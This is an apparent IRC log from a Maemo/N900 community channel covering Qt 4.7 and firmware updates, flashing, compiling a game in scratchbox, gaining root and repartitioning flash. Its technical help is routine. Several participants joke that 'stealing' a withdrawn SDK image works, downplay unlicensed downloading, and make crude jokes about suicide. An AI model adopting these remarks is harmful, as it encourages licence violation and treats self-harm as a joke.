manual for compiler aplication for maemo 5 nokia n900? Sep 21 14:51:31 * MohammadAG51 disses the N8, you don't have shit over the N900 \o/ Sep 21 14:51:39 * timeless_pidgin just saw a child trying to attack an e71 Sep 21 14:51:52 lil steve? Sep 21 14:51:59 He was actually gentler w/ my n900 Sep 21 14:52:46 timeless_pidgin, have you seen the bluenail girl? Sep 21 14:52:55 from Nokia World Sep 21 14:53:07 So can anyone suggest a soccer game in belfast for tonight? Sep 21 14:53:19 Lcuk: what's nokia world? Sep 21 14:53:47 timeless_pidgin, just stand on the street corner and shout something like "Manchest United are the best team in the world" I am sure some other supporters will step out and have a game with you! Sep 21 14:54:15 Thanks Sep 21 14:54:27 * timeless_pidgin feels so unloved Sep 21 14:55:49 * Mece hugs timeless_pidgin Sep 21 14:57:47 I can haz hug too? Sep 21 14:57:50 ;) Sep 21 14:58:29 * Mece hugs satmd, to appear objective Sep 21 14:58:38 :) Sep 21 15:01:53 Oh right. .. Sep 21 15:02:30 I need to kick pidgin for focus stealing Sep 21 15:04:15 wow, crazy hamster blows! and frankly, that hamster doesn't seem all that crazy. Sep 21 15:04:32 still, nice with some new games :) Sep 21 15:10:11 * MohammadAG51 wants nautilus on the N900 Sep 21 15:10:28 * satmd sighs Sep 21 15:10:33 The nautilus would indeed be cool. Sep 21 15:10:46 I want a phone that can work at 20000 leagues beneateh the sea. Sep 21 15:11:23 the n900 can totally do that with a superstrong minisub Sep 21 15:14:32 Oh nice, Qt 4.7 has been released? Sep 21 15:14:40 it is? Sep 21 15:14:49 for N900 too? Sep 21 15:14:49 Looks like it. Sep 21 15:15:09 hmm.. guess it's time for pr1.3 then :) Sep 21 15:15:29 Officially, that's one thing which comes in our next update Sep 21 15:15:39 that means qml for the masses :) Sep 21 15:15:43 :D Sep 21 15:15:44 Yes :) Sep 21 15:15:54 * satmd will delay today's planned reflash Sep 21 15:16:04 I guess we can hopefully expect PR1.3 in about two months or so .. Sep 21 15:16:07 Hopefully .. Sep 21 15:16:11 timeless_pidgin, yup, I figured as much. Sep 21 15:16:37 "Anssi Vanjoki says using Android is like peeing in your pants for warmth" hahah Sep 21 15:17:48 alterego: Which in case of a diver, is bloody important Sep 21 15:18:08 :) Sep 21 15:18:12 alterego: if you've ever surfed in any coldish weather, peeing in your wetsuit is the best thing you can do to keep you warm. Sep 21 15:18:12 And an astronaut Sep 21 15:18:15 well, that depends. qt4.7 was obviously one important part, or actually the most important part, so doesn't have to be to long. not that I have any particular need for a new pr, but nice to see what it contains :) Sep 21 15:18:30 Yeah, I used to windsurf a lot during the winter Sep 21 15:18:33 crashanddie, so.. divers should install nitdroid? Sep 21 15:18:42 That's the only headline i know of Sep 21 15:18:52 Mece: sure, my estimation is more on how long it seems to take their QA testing process ;) Sep 21 15:19:10 Everything else in PR1.3 seems finished. Sep 21 15:19:19 when was pr1.2 released? Sep 21 15:19:22 So depending on how old the 4.7 release source actually is .. Sep 21 15:19:31 ~pr1.2 Sep 21 15:19:31 from memory, pr1.2 is available since early Tuesday morning. More information at http://conversations.nokia.com/2010/05/25/nokia-n900-software-update-release-1-2/ -- see ~flashing for how to update Sep 21 15:19:40 ok. thanks Sep 21 15:19:41 I'm guessing they're starting to test about now. Sep 21 15:19:44 Mece: Since tuesday! Sep 21 15:19:53 * crashanddie could've sworn it was longer than that Sep 21 15:19:55 The 4.7 packages i saw were lame Sep 21 15:20:10 the bot didn't specify *which* tuesday Sep 21 15:20:11 timeless_pidgin, lame? O.o Sep 21 15:20:22 I'm hoping they'll suck less when shipped Sep 21 15:20:28 kfx: the URL gives the date Sep 21 15:20:33 kfx, LOL. oh really? Sep 21 15:20:47 crashanddie: yeah it was a joke Sep 21 15:20:59 not a very good one then :) Sep 21 15:22:47 so pr1.2 was out early week 21 and build was from week 19 Sep 21 15:23:21 That'd be the optimistic ship schedule iirc Sep 21 15:24:48 ~pr1.3 Sep 21 15:24:48 i heard pr1.3 is a ban'able subject now..... Sep 21 15:24:53 o,o Sep 21 15:24:55 * satmd hides Sep 21 15:27:50 Youhou qt4.7 will be finnally be available for Maemo Sep 21 15:28:06 it s 3 bug that annoy me too much ! Sep 21 15:28:16 it s fix 3 bug that annoy me too much ! Sep 21 15:28:57 yum really sucks Sep 21 15:29:16 i ve f*ck the rpmdb Sep 21 15:29:37 Congratulations Sep 21 15:29:52 ? Sep 21 15:33:09 On hosing it Sep 21 15:34:13 ok ... rpm --rebuilddb < thread died fatal error Sep 21 15:35:21 now i really understand why so many claims that it was an error to use rpm tools Sep 21 15:36:26 * timeless_pidgin has corrupted apt's db, it isn't much harder Sep 21 15:37:59 quick silly question, anybody gotten emails "stuck" in modest's "Outbox" before? Sep 21 15:38:06 * rtyler wonders how to get them to bloody send Sep 21 15:38:43 Rtyler: frequently this week Sep 21 15:38:59 Is it "waiting" or "canceled" or "failed" or? Sep 21 15:40:36 just sitting there in the outbox Sep 21 15:40:40 For waiting, the easiest solution is rebooting, opening mail and connecting to the network Sep 21 15:40:45 yikes Sep 21 15:40:57 It should have a status on the far right side Sep 21 15:41:18 It's really just the network going up signal that matters Sep 21 15:41:45 But i've been cursing it all week Sep 21 15:43:01 You're welcome to experiment. Sep 21 15:43:14 Unfortunately a lot of my messages end up "canceled" Sep 21 15:43:22 And recovering from that sucks. Sep 21 15:43:33 You have to movie it to another folder Sep 21 15:43:36 Open in Sep 21 15:43:53 I then reply to all, and unquote the whole message Sep 21 15:43:58 And send again Sep 21 15:44:59 hey timeless_pidgin Sep 21 15:45:09 Hi Sep 21 16:42:13 * satmd found out how he broke his n900 Sep 21 16:42:30 used the old emmc image instead of the pr1.2 one Sep 21 16:42:43 the nokia download page is confusing Sep 21 16:42:55 can't they group the list by version? :( Sep 21 16:49:48 satmd: look for the latest ;) Are you working again now? Sep 21 16:54:37 hmm cant find any infos if meego will support portrait mode for everything from the beginning Sep 21 16:54:44 steinex: want to see a video? Sep 21 16:54:52 yeah Sep 21 16:54:54 sec Sep 21 16:55:28 http://www.youtube.com/watch?v=uO0VoHtVdY8 Sep 21 16:55:31 this is from 7 september Sep 21 16:55:34 a lot has been fixed since Sep 21 16:59:59 the flasher for windows keeps failing at installing the driver (code 39) Sep 21 17:00:06 so I'll try again later on my pc Sep 21 17:01:07 are you using win7 x64? Sep 21 17:04:16 Stskeeps: i cant see the guy trying it ;) Sep 21 17:04:58 steinex: it's a girl, i think Sep 21 17:06:23 satmd you have to get usblive or cdlive with linux - that's all Sep 21 17:10:28 no, happened on win xp 32bit Sep 21 17:10:40 but when I get home, I'm home with my penguins Sep 21 17:10:41 :) Sep 21 17:11:25 Satmd: where's the fun in that? Sep 21 17:15:01 fun? where? ;) Sep 21 17:17:32 squirrel! Sep 21 17:17:52 * slonopotamus wonders if timeless_pidgin actually means timeless_pidgin_mbp Sep 21 17:18:00 In having a straightforward download page Sep 21 17:18:26 _n900 Sep 21 17:18:34 @belfast Sep 21 17:22:48 http://www.flickr.com/photos/10185698@N00/4494088129/sizes/l/ Sep 21 17:23:23 crazy Sep 21 17:23:24 :P Sep 21 17:24:26 goze: wait, what Sep 21 17:24:31 you Sep 21 17:24:32 i Sep 21 17:24:36 D: Sep 21 17:24:42 i don't even Sep 21 17:26:22 Grr, ticketmaster.co.uk doesn't like me Sep 21 17:26:28 no not me, don't know who Sep 21 17:27:56 is there a way to say NO to the nokia ovi stuff after first boot? Sep 21 17:31:52 satmd: no Sep 21 17:32:09 see http://wiki.maemo.org/PR1.2_compulsory_My_Nokia_subscription Sep 21 17:32:09 :( Sep 21 17:33:00 I think you can boot without a SIM card inserted, make sure that /var/spool/sms/outgoing is empty, and create the ~/.cherry_state file described in the wiki article above to make sure that the activation sms isn't sent. Sep 21 17:33:04 kerio: somebody called evilJazz own the picture Sep 21 17:55:17 how come the ARM Cortex-A8 is clocked at 1Ghz on the iPad and you guys are saying OCing reduces lifetime ? Sep 21 17:55:35 ipad will break from people breaking the glass anyway ;p Sep 21 17:55:48 and we don't say arm cortex-a8, we say omap3 Sep 21 17:56:06 * timeless_pidgin kicks ticketmaster: http://www.ticketmaster.co.uk/browse/category=10002?go.x=15&rdc_select=td&type=selected&category=10002&root=10002&go.y=13&tm_link= Sep 21 17:57:40 you mean OCing would reduce lifetime of other components designed for ~600 ? Sep 21 17:57:51 someone said that n900 picture is fake Sep 21 17:58:45 and I don't think apple would depend on people breaking their iPads before it fries :P Sep 21 18:00:16 "The Cortex-A8 core used in the A4 is thought to use performance enhancements developed by chip designer Intrinsity (which was subsequently acquired by Apple)[10] in collaboration with Samsung.[11]" ~http://en.wikipedia.org/wiki/Apple_A4 Sep 21 18:00:17 nvm :D Sep 21 18:00:36 * RST38h moos at the moon Sep 21 18:00:44 actually the n900 does say arm cortex a8 Sep 21 18:00:50 it says it right on the phone in fact Sep 21 18:01:02 indeed Sep 21 18:06:02 btw http://www.engadget.com/2010/09/21/qpcs-articulated-naturality-web-looks-to-one-up-augmented-reali/ Sep 21 18:09:25 hello, I am looking for Maemo Desktop SDK Virtual image Sep 21 18:09:39 does anyone have a copy? it has been removed from http://tablets-dev.nokia.com/maemo-dev-env-downloads.php Sep 21 18:10:22 Things in that site aren't typically licensed for redistribution... Sep 21 18:11:07 so there is no way I can get that image? Sep 21 18:11:28 all documentation everywhere points me to that link, but it is not there :( Sep 21 18:11:31 Stealing typically works... Sep 21 18:12:05 Getting caught or in trouble comes later. Sep 21 18:12:07 We are doing some development for n810 in my university, and having that enviorment would greatly help Sep 21 18:12:28 well not like I cant steal since It seems to be nowhere... Sep 21 18:12:44 ... Sep 21 18:13:17 The point is that if someone else, like me, had it, they probably couldn't legally give it to you. Sep 21 18:13:21 I cant find any pressrelease on they removing it for some reason Sep 21 18:13:38 I know that Sep 21 18:13:54 Find the post announcing it, find the poster, contact them directly. Sep 21 18:14:43 ... Why do people ask about things they know are wrong? Sep 21 18:15:01 Is that something they teach in university these days? Sep 21 18:15:22 timeless_pidgin: what did I ask that was wrong? Sep 21 18:15:53 * RST38h hasno problemdownloading that image right off the given url Sep 21 18:16:26 RST38h: you can see the desktop image on that server? Sep 21 18:16:35 server only Sep 21 18:16:39 ah same here.. Sep 21 18:16:59 and it is old one Sep 21 18:16:59 why do you need the desktop? Sep 21 18:17:09 because the server one is a pain to configure Sep 21 18:17:29 I dont need it, but it would be much better Sep 21 18:19:02 timeless_pidgin: just so you know, I never asked for someone to send me it. I was going to ask if someone had one, where they got it from. Sep 21 18:19:57 timeless_pidgin: no need to look down at people.... Sep 21 18:20:48 telling a channel full of geeks not to be elitist and look down at people is wasting your time :P Sep 21 18:21:36 it's not like the gestapo is going to knock down your door for downloading something you couldn't pay for and won't be using for commercial purposes Sep 21 18:23:03 oh, huh, qt 4.7 is out Sep 21 18:31:25 who has a Female to Female adapter, an N900, and is a bit experienced with terminal Sep 21 18:31:33 Ah. Sep 21 18:31:39 I've lost my f-f adaptor Sep 21 18:31:41 :/ Sep 21 18:31:43 female to female adapter...naughty Sep 21 18:31:48 I'll see if I can dig it out Sep 21 18:35:04 I just use tequila for that Sep 21 18:36:05 mm tequila Sep 21 18:43:55 hey :) Sep 21 18:44:34 hey :) Sep 21 18:44:42 MohammadAG51: I've found mine. What do you need? Sep 21 18:44:53 MohammadAG51 needs bacon... tis true Sep 21 18:44:57 BACON Sep 21 18:45:02 * lcuk agrees Sep 21 18:45:12 he's not having mine Sep 21 18:45:47 does anyone have any exp using SDL/gles stuff Sep 21 18:45:51 me wonders what happened whilst i was walking up a hill Sep 21 18:45:58 i am trying to compile StoneSoup Crawl Sep 21 18:46:08 lcuk, not much..... Sep 21 18:46:09 and got it compiled on armel (it crashes tough ) Sep 21 18:46:12 big hill? Sep 21 18:46:37 yeah just went wandering with jake and tracy Sep 21 18:46:42 just achieved packet injection with the n900 with my own driver Sep 21 18:46:56 but i cant do it for x86 target and most likely its because i do miss some stuff Sep 21 18:46:56 sbox-FREMANTLE_X86: ~/workdir/crawl-ref/WIZARD/source] > diff -u installed.armel installed.x86 Sep 21 18:46:56 --- installed.armel 2010-09-21 19:23:13.000000000 +0100 Sep 21 18:46:56 +++ installed.x86 2010-09-21 19:24:01.000000000 +0100 Sep 21 18:46:56 @@ -1,4 +1,5 @@ Sep 21 18:47:00 Stonesoup does notappear to require gles or sdl Sep 21 18:47:13 but then my n900 crashed and it doesn't want to find wifi anymore after reboot Sep 21 18:47:20 where i can get libgles for x86 platform ? Sep 21 18:47:23 Ah wait it does have a gfxversion, so SDL Sep 21 18:47:24 cool! lcuk, i still love the way you two have conversations over twitter :P Sep 21 18:47:32 I love how broken ICD2 is. Sep 21 18:47:41 MohammadAG51: ^ Sep 21 18:47:58 anyway, gf here, off for the night, 'later all Sep 21 18:48:01 Noobmonk3y, she sms'ed luke whilst we were walking and told him she was climbing everest Sep 21 18:48:03 melanor9: Whydo you need glesfor Stonesoup? Sep 21 18:48:08 hahaha! Sep 21 18:48:10 it wasnt anything of the like rly Sep 21 18:48:10 genius Sep 21 18:48:22 my misses has no internet connection, no fb/twitter etc... Sep 21 18:48:30 stonesoup SDL version looks great for n900 resolution, thats why Sep 21 18:48:35 its rather bland in ascii Sep 21 18:48:45 allthough if you like cakes we did cake'tography last night! www.amazingelcakes.com Sep 21 18:49:05 i saw Noobmonk3y, tracy does big cakes too Sep 21 18:49:19 rst38h: try make -j 8 prefix=/opt SAVEDIR=/home/user/MyDocs/crawl-saves TILES=y GLES=y for armel/x86 Sep 21 18:49:23 it is sdl indeed, but not gles, the way it looks Sep 21 18:49:27 those do look delicious tho Sep 21 18:49:29 hehe , mandy wants her own cake shop, so each week after the hols she bakes, we do photography, and i'll do the website to get things going :) Sep 21 18:49:34 and by god they where! Sep 21 18:49:37 got 2 next to me now Sep 21 18:49:41 melanor9: 1) do not build for x86, it is useless Sep 21 18:49:42 melanor9: "-j8"? Seriously? Sep 21 18:49:45 it does need gles, cause they use SDL_gl for rendering Sep 21 18:49:49 melanor9: 2) do GLES=n Sep 21 18:49:54 i do run 8 cores :) Sep 21 18:50:16 unless you -pipe gcc, I doubt anything over 4 cores will vastly improve performance. Sep 21 18:50:21 rst38h: it doesnt matter, as long as GLES declared, it links against it :) Sep 21 18:50:29 ok undefine it Sep 21 18:50:33 (that is, for anything other than the initial compilation) Sep 21 18:50:48 lcuk, if we come up your way will have to have a cake testing session ;) - comparison is allways good hehehe Sep 21 18:50:59 heh Sep 21 18:51:02 rst38h: it will fuk up Sep 21 18:51:03 wait Sep 21 18:51:06 try Sep 21 18:51:09 luke made lasagne today in school Sep 21 18:51:15 that GLES=y is there for a reason Sep 21 18:51:17 it tasted more like chili con carne Sep 21 18:51:26 * lcuk enjoyed it Sep 21 18:51:28 and the most likely reason is, it is optional Sep 21 18:51:28 hahaha, still edible, good start! Sep 21 18:51:44 glwrapper-ogl.cc:374: error: 'GL_FLOAT' was not declared in this scope Sep 21 18:51:44 glwrapper-ogl.cc:374: error: 'glVertexPointer' was not declared in this scope Sep 21 18:51:44 glwrapper-ogl.cc:377: error: 'glTexCoordPointer' was not declared in this scope Sep 21 18:51:44 glwrapper-ogl.cc:380: error: 'GL_UNSIGNED_BYTE' was not declared in this scope Sep 21 18:51:44 glwrapper-ogl.cc:380: error: 'glColorPointer' was not declared in this scope Sep 21 18:51:45 glwrapper-ogl.cc:385: error: 'GL_TRIANGLE_STRIP' was not declared in this scope Sep 21 18:51:45 glwrapper-ogl.cc:386: error: 'GL_UNSIGNED_SHORT' was not declared in this scope Sep 21 18:51:46 glwrapper-ogl.cc:386: error: 'glDrawElements' was not declared in this scope Sep 21 18:51:46 glwrapper-ogl.cc:389: error: 'GL_LINES' was not declared in this scope Sep 21 18:51:47 glwrapper-ogl.cc:389: error: 'glDrawArrays' was not declared in this scope Sep 21 18:51:47 make: *** [glwrapper-ogl.o] Error 1 Sep 21 18:51:48 make: *** Waiting for unfinished jobs.... Sep 21 18:51:53 spaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam on toast Sep 21 18:51:57 awwwwwwwwww Sep 21 18:51:58 * RST38h sighs Sep 21 18:52:17 [tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs Sep 21 18:52:42 Good chance is, you can ifdef it away, so that it never compiles and runs Sep 21 18:52:50 he's kicked Sep 21 18:52:59 pity Sep 21 18:53:04 oh well Sep 21 18:53:28 Hi Sep 21 18:53:37 error: /kick was not declared in this scope Sep 21 18:53:54 i keep getting kicked :) havent used IRC for decade Sep 21 18:53:57 literally Sep 21 18:54:15 well before you get banned for another decade, learn to pastebin Sep 21 18:54:26 ~pastebin Sep 21 18:54:27 [~pastebin] A "pastebin" is a web-based service where you should paste anything over 3 lines so you don't flood the channel. Here are links to a few : http://www.pastebin.com , http://pastebin.ca , http://channels.debian.net/paste , http://paste.lisp.org , http://bin.cakephp.org/ , http://asterisk.pastey.net/ , or install pastebinit with yum or aptitude. Sep 21 18:54:34 ty :) Sep 21 18:54:52 lol melanor9 Sep 21 18:54:57 * Noobmonk3y smiles at that one Sep 21 18:54:59 [tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs Sep 21 18:55:03 twas like a virgin being kicked Sep 21 18:55:09 Good chance is, you can ifdef it away, so that it never compiles and runs Sep 21 18:55:27 If you do need GLES, there is a way to use it,at least for armel binaries Sep 21 18:56:20 rst: i did looked through the sources, they do use SDL_gl, i do need GLES and i got it compiled for ARMEL, but i want to compile and debug for x86 cause i'm rather unfamiliar with armel architecture and it will be a hell to debug a crash Sep 21 18:56:48 i need/use GLES and it initializes well and blah-blah Sep 21 18:56:52 x86 binaries are not representative of how your program will behave on the actual device Sep 21 18:57:01 ehhh Sep 21 18:57:11 i.e. even if you compileit for x86, it won'thelp you much Sep 21 18:57:17 okay. is there any good starter docs on armel arch? Sep 21 18:57:27 google. Sep 21 18:58:33 mkay Sep 21 19:00:06 http://pastebin.com/3vCMay6j Sep 21 19:00:11 have it worked ? :) Sep 21 19:00:27 rst38h: google is all fine and dandy Sep 21 19:00:41 but i'f you happen to ask a question on random forum Sep 21 19:00:58 and got reasonable reply… you are in NA :) Sep 21 19:01:24 if you happen to ask a random question on a random forum, you will get a random reply Sep 21 19:01:26 if you got a question in return… you are in .IL :) Sep 21 19:01:55 yes,I am very well acquainted with this phenomenon. Google though. Sep 21 19:02:07 if you got an elaborate explanation how retarded you are and why you should commit suicide - you are in russia :) Sep 21 19:02:25 That too, and make sure you leave us a video. Sep 21 19:02:46 i already did :) Sep 21 19:03:08 visit chatroulette :))) Sep 21 19:03:10 hehehe Sep 21 19:04:21 melanor9, are you sure it was only a decade since you were last here? Sep 21 19:04:48 lcuk, i last used irc before i came here in 2000! Sep 21 19:05:21 lcuk, probably more.. Sep 21 19:05:25 however did you keep yourself away for 10 years? Sep 21 19:06:19 err… real life ? like socializing and stuff... Sep 21 19:06:39 i sense a fat troll coming my way next minute :) Sep 21 19:06:55 hm real life? Sep 21 19:06:58 ~rl Sep 21 19:06:59 it has been said that rl is Real Life (the bad world out there), or known as the Big Blue Box (tm). Conways game using only rational numbers Sep 21 19:07:22 gotta try that one day ;) Sep 21 19:10:07 i still think that scratchbox is retarded as IDE Sep 21 19:10:28 i mean WTF, why dont we have complete emulation of original device Sep 21 19:11:54 a complete emulation of hardware would not help :) you would run out of disk space and memory overhead quickly Sep 21 19:12:55 what Sep 21 19:13:05 lcuk:Says who? =) Sep 21 19:13:24 i gighly doubt that Sep 21 19:13:34 well if it was a complete emulation it would have the same space and memory as main one :) Sep 21 19:13:47 np Sep 21 19:13:51 i have 8GRAM Sep 21 19:13:53 which isn't particularly much Sep 21 19:13:59 lcuk: Which, for Maemo hw, is not that difficult to achieve =) Sep 21 19:14:10 heh Sep 21 20:13:06 Hello people. Is it advisable for non-developers to "break your device" – this is the question my n900 asks me when I go through the guide to install Transmission on it. Sep 21 20:14:23 maltemax, :) Sep 21 20:14:24 you're stuck at the gainroot place? Sep 21 20:14:29 yes Sep 21 20:14:39 typed command "sudo gainroot" Sep 21 20:14:47 well, if you know what you're doing and risking, you can install rootsh from appmanager Sep 21 20:14:50 that will dodge that msg Sep 21 20:15:07 install rootsh with the app manager first Sep 21 20:15:14 I don't know what I'm doing really, just obediently following the guide Sep 21 20:15:20 then use the command root Sep 21 20:15:30 well, be sure to type exactly what's written then. :) Sep 21 20:15:40 Ok I will (; Sep 21 20:15:41 but yea, install rootsh before sudo gainroot works Sep 21 20:15:46 then install transmission from the app manager Sep 21 20:15:56 that works too Sep 21 20:16:26 I don't seem to find transmission from the app manager, but that would be the easiest thing of course Sep 21 20:16:32 the question was whether non-developers should get root Sep 21 20:16:55 lcuk, yes that was my question too Sep 21 20:17:19 i've got root, bricked my device, done things none else with a brain would do, and i'm not a dev. :D Sep 21 20:17:25 http://maemo.org/packages/view/transmission/ Sep 21 20:17:34 but i never do things that i've no idea what i'm doing Sep 21 20:17:42 transmission is in the -testing repository Sep 21 20:19:27 ie, you shouldnt need to touch the console or even install rootsh, but its an incomplete test package that likely will drain stuff (since it downloads stuff all the time) Sep 21 20:19:56 lcuk, it will drain my battery if I have it open, right? Sep 21 20:20:44 That's okay though. I just want to download torrents everynow and then, e.g. eipedia packets Sep 21 20:20:46 Hello Sep 21 20:20:47 evipedia* Sep 21 20:20:58 evo Sep 21 20:21:00 I think Sep 21 20:21:07 speedevil, yes Sep 21 20:21:33 nokia n810: any way to see the standard console at boot instead of a white screen with a nokia logo? Sep 21 20:22:23 delt, afaik, it is possible but requires a whole new kernel etc Sep 21 20:23:19 i moved stuff to the internal 2gb flash, forgetting it was a fucking WINDOWZ PARTITION - no more symlinks, no more user id's, no more group id's, no more file permissions..... *sigh* Sep 21 20:24:23 now i don't have the right USB cable or adapter to plug this to the PC.... so no way to un-brick it for now :/ Sep 21 20:24:56 (why didn't they use a standard mini-usb plug like everyone else btw??) Sep 21 20:25:51 micro is the new standard for all phones Sep 21 20:25:59 N900 isn't a phone Sep 21 20:26:00 It's more reliable than mini. Sep 21 20:26:00 pwnt Sep 21 20:26:16 * SpeedEvil stabs luke-jr in the eye with a baguette. Sep 21 20:26:16 so the UI needs something in /usr/share/ BEFORE /media/mmcwhatever is mounted.... Sep 21 20:26:27 except on the n900, where the connector falls off :P Sep 21 20:26:27 * RST38h uses n900 to make phone calls hence iti s a phone. Sep 21 20:26:37 * luke-jr wonders if it's possible to build a normal USB port that can also take a Micro or Mini Sep 21 20:26:57 everybody knows it's a mobile computer! Sep 21 20:28:11 it's a Personal Mobile Tool! Sep 21 20:29:12 how about a Personal Mobile Smartphone, so we can say we're PMSing when using it Sep 21 20:29:39 pda, tablet, personal mobile/whatever, pocket computer, .... pick your choose =) Sep 21 20:30:34 anyway, looks like i'm gonna need some cable or adapter to fix it *sigh* ..... :/ Sep 21 20:31:12 delt: You don't have the cable that comes with it? Sep 21 20:31:28 i think my brother has it Sep 21 20:32:44 i just moved some stuff out of /usr/share (icons, sounds, and some games stuff) to the internal 2GB and symlinked it... (the / partition had like 2mb free) Sep 21 20:33:28 apparently, either the permissions/user/group-id's were necessary, or that stuff is necessary -before- the other filesystem gets mounted. Sep 21 20:34:22 it's probably noexec Sep 21 20:34:37 anyway, first thing im doing when i get the cable (or an adapter) is NUKE the windowz partition and reformat it ext3 (and change the entry in /etc/fstab) Sep 21 20:34:56 delt, apparently, it's not that easy Sep 21 20:35:02 delt: What I did. Sep 21 20:35:08 it IS that easy? Sep 21 20:35:10 delt: tar up mydocs, put it in /home Sep 21 20:35:25 heh the fonearena battle is raging :J Sep 21 20:35:25 yeah, i remember seeing noexec in the fstab Sep 21 20:35:28 I was told that some stuff depends on there being a vfat partition? Sep 21 20:35:32 :) even Sep 21 20:35:40 delt: Then unmount mydocs, fdisk it to 4G. Sep 21 20:35:40 SpeedEvil: of course, i keep a copy of everything that was on it first!! Sep 21 20:35:57 Put another data partition onthere at 26ishG Sep 21 20:36:02 make that ext3 Sep 21 20:36:06 4G? Sep 21 20:36:06 oh Sep 21 20:36:13 http://www.fonearena.com/blog/23073/smartphone-championship-semi-final-nokia-n900-vs-palm-pre.html Sep 21 20:36:21 this way there is an easy way for the normal software to work as it normally does. Sep 21 20:36:48 And for it to plugin to PCs and printers and ... Sep 21 20:36:58 But still have lots of storage for stuff. Sep 21 20:37:43 Mece, yay! the N900 is winning! Sep 21 20:38:06 what about just tar.gz the whole 2gb windows partition, fdisk and reformat it to ext3/whatever decent FS, then put the stuff back Sep 21 20:38:21 MNZ, it's losing ground fast. was up by 400 a few minutes ago. Sep 21 20:38:47 it's up by 336 now Sep 21 20:38:53 vote folks~ Sep 21 20:39:06 s/~/!/ Sep 21 20:39:06 MNZ meant: vote folks! Sep 21 20:39:38 SpeedEvil: what about just tar.gz the whole 2gb windows partition from the PC onto harddisk, fdisk and reformat it to ext3/whatever decent FS, then put the files back...? Sep 21 20:39:54 delt: Should work Sep 21 20:39:57 delt: errr Sep 21 20:40:04 delt: I know at one point that that did not work Sep 21 20:40:13 delt: I do not kno if it continues to not work. Sep 21 20:40:36 delt: Also - mydocs being vgat means you have lots more compartibility than ext2 Sep 21 20:40:43 some process needed a sandbox/free-for-all mess with no perms/uids? Sep 21 20:41:18 Google Ad: Unlocked N900 -$110.99 N900Phone.LightInTheBox.com Sep 21 20:41:18 Amazing N900 With 2 Sim Cards. Free 2G Card, 7/24 Live Support! Sep 21 20:41:18 * delt gives 0 shit(s) about compatibility with windows. Sep 21 20:41:51 wow Sep 21 20:41:59 hehhe Sep 21 20:42:03 Is that live support in Chinese? Sep 21 20:42:35 I sure hope it's in English because I just ordered one. Finally, an unlocked N900. What took them so long? Sep 21 20:42:43 heh infobot =) Sep 21 20:42:44 hello worlf Sep 21 20:42:45 s/worlf/world/ Sep 21 20:42:46 delt meant: hello world Sep 21 20:42:51 =) Sep 21 20:43:00 ~botsnack Sep 21 20:43:01 MNZ: aw, gee Sep 21 20:43:16 wako wako wako wako Sep 21 20:43:17 s/wako/waka/g Sep 21 20:43:18 delt meant: waka waka waka waka Sep 21 20:43:23 hehee! Sep 21 20:44:26 wako wako wako wako Sep 21 20:44:28 s/wako/waka/ Sep 21 20:44:28 delt meant: waka wako wako wako Sep 21 20:44:35 smart bot :D Sep 21 20:44:50 uses sed directly? Sep 21 20:47:52 lcuk: If I want to download a package from the link you posted, which one should I take? Sep 21 20:48:20 lcuk: Transmission that is (sorry for being slow here, needed to read up on some of the stuff) Sep 21 20:48:37 http://maemo.org/packages/view/transmission/ Sep 21 20:50:10 anyway.... gonna go get/find/look for the cable or "a cable" :/ Sep 21 20:52:44 oh btw, what limits the miniSD to 8 gigs? Sep 21 20:53:10 if the software supports it, you could stick a microSD 32gb in a micro-to-mini adapter...? Sep 21 20:53:38 yes. Sep 21 20:53:45 32 should be supported Sep 21 20:53:55 it's just it wasn't available at the time Sep 21 20:53:56 as in, compile the kernel with more recent drivers for sd cards Sep 21 20:54:05 No, I mean by default Sep 21 20:54:16 there is no change between 8 and 32 Sep 21 20:54:24 n810 came out i think in 2008? Sep 21 20:54:54 oops. Sep 21 20:55:02 16gb microsd cards were available by then...? Sep 21 20:55:08 I _think_ it shoul work OK - but I don't have an 810 Sep 21 20:55:14 certainly not Sep 21 20:55:24 they were only available earlier this year Sep 21 20:55:46 heh... my notion of time is slightly out of whack -) Sep 21 20:56:27 anyway, do you remember what didn't work with the internal 2gb flash being just one ext2/3 partition? Sep 21 20:57:13 oh, and what would be the /dev names for individual partitions on a flash/sd card? Sep 21 20:57:45 (from maemo on the n810's point of view) Sep 21 21:06:37 does the N900 support C#? Sep 21 21:07:34 mono is not in the repo iirc Sep 21 21:07:45 but imho, would be cool if it was... Sep 21 21:14:49 MohammadAG, yes'ish Sep 21 21:14:51 i hear Sep 21 21:14:58 not that i would actually know ;) Sep 21 21:15:35 MohammadAG51: I've found my USB F/F adapter. You still need something? Sep 21 21:17:22 MohammadAG51, there is a mono compiler Sep 21 21:17:24 but to use it Sep 21 21:17:27 fnordianslip, nope, just keep it close, you'll need it in a few days :P Sep 21 21:17:30 you have to add new things into scratchbox Sep 21 21:17:46 okey dokey :) Sep 21 21:21:36 moin Sep 21 21:48:01 * MohammadAG has a suggestion, please consider it, pretty please? :P Sep 21 21:48:10 Israel for next year's conference! :P Sep 21 21:49:06 you mean palestine? Sep 21 21:49:52 indifferent tbh Sep 21 21:50:10 but you're more likely to hear rumors about being shot there than in IL :P Sep 21 22:00:34 anyone using the N900 in Norway with netcom, and now how to recive mms without opening via the mms-reader on netcom's webpage? Sep 21 22:03:16 hmm Malin_ Sep 21 22:03:38 were the defaults already available on the APN config? Sep 21 22:05:22 fmms Sep 21 22:05:28 malin Sep 21 22:06:55 Malin_ even. SpeedEvil hmm I hadn't considered that fmms isn't actually on everyones machines yet! Sep 21 22:10:03 fmms is not, nor it will be, on my n900 Sep 21 22:11:38 kerio, can I ask why? Sep 21 22:12:28 because MMSes are just a way for phone companies to make even *more* money by transporting bits Sep 21 22:12:50 crappy specs, crappy support on most phones, stupid restrictions on most carriers, and overall absolutely *no* advantage over emails Sep 21 22:13:37 kerio, it has many advantages and the restrictions are there based on historical stuff, every codebase is the same Sep 21 22:13:48 what advantages? Sep 21 22:14:05 but the power of sending a 0 config (normally!) photograph to someone person to person is immense Sep 21 22:14:08 my phone company sends me a sms when i get an email on the associated email address Sep 21 22:14:26 lcuk: except that most people don't have MMSes configured Sep 21 22:14:29 and won't care Sep 21 22:14:30 my phone company sends me a photo when someonesends it me Sep 21 22:14:40 and have done on every phone I have used Sep 21 22:14:52 i have never gotten an email on my phone Sep 21 22:15:01 well, outside gmail Sep 21 22:15:25 my mum hasnt got email configured Sep 21 22:15:42 [insert ur mom joke] Sep 21 22:18:24 kerio, grow up Sep 21 22:18:35 i don't want to grow up :( Sep 21 22:20:01 reasonable enough, does your mum have email setup on her phone? 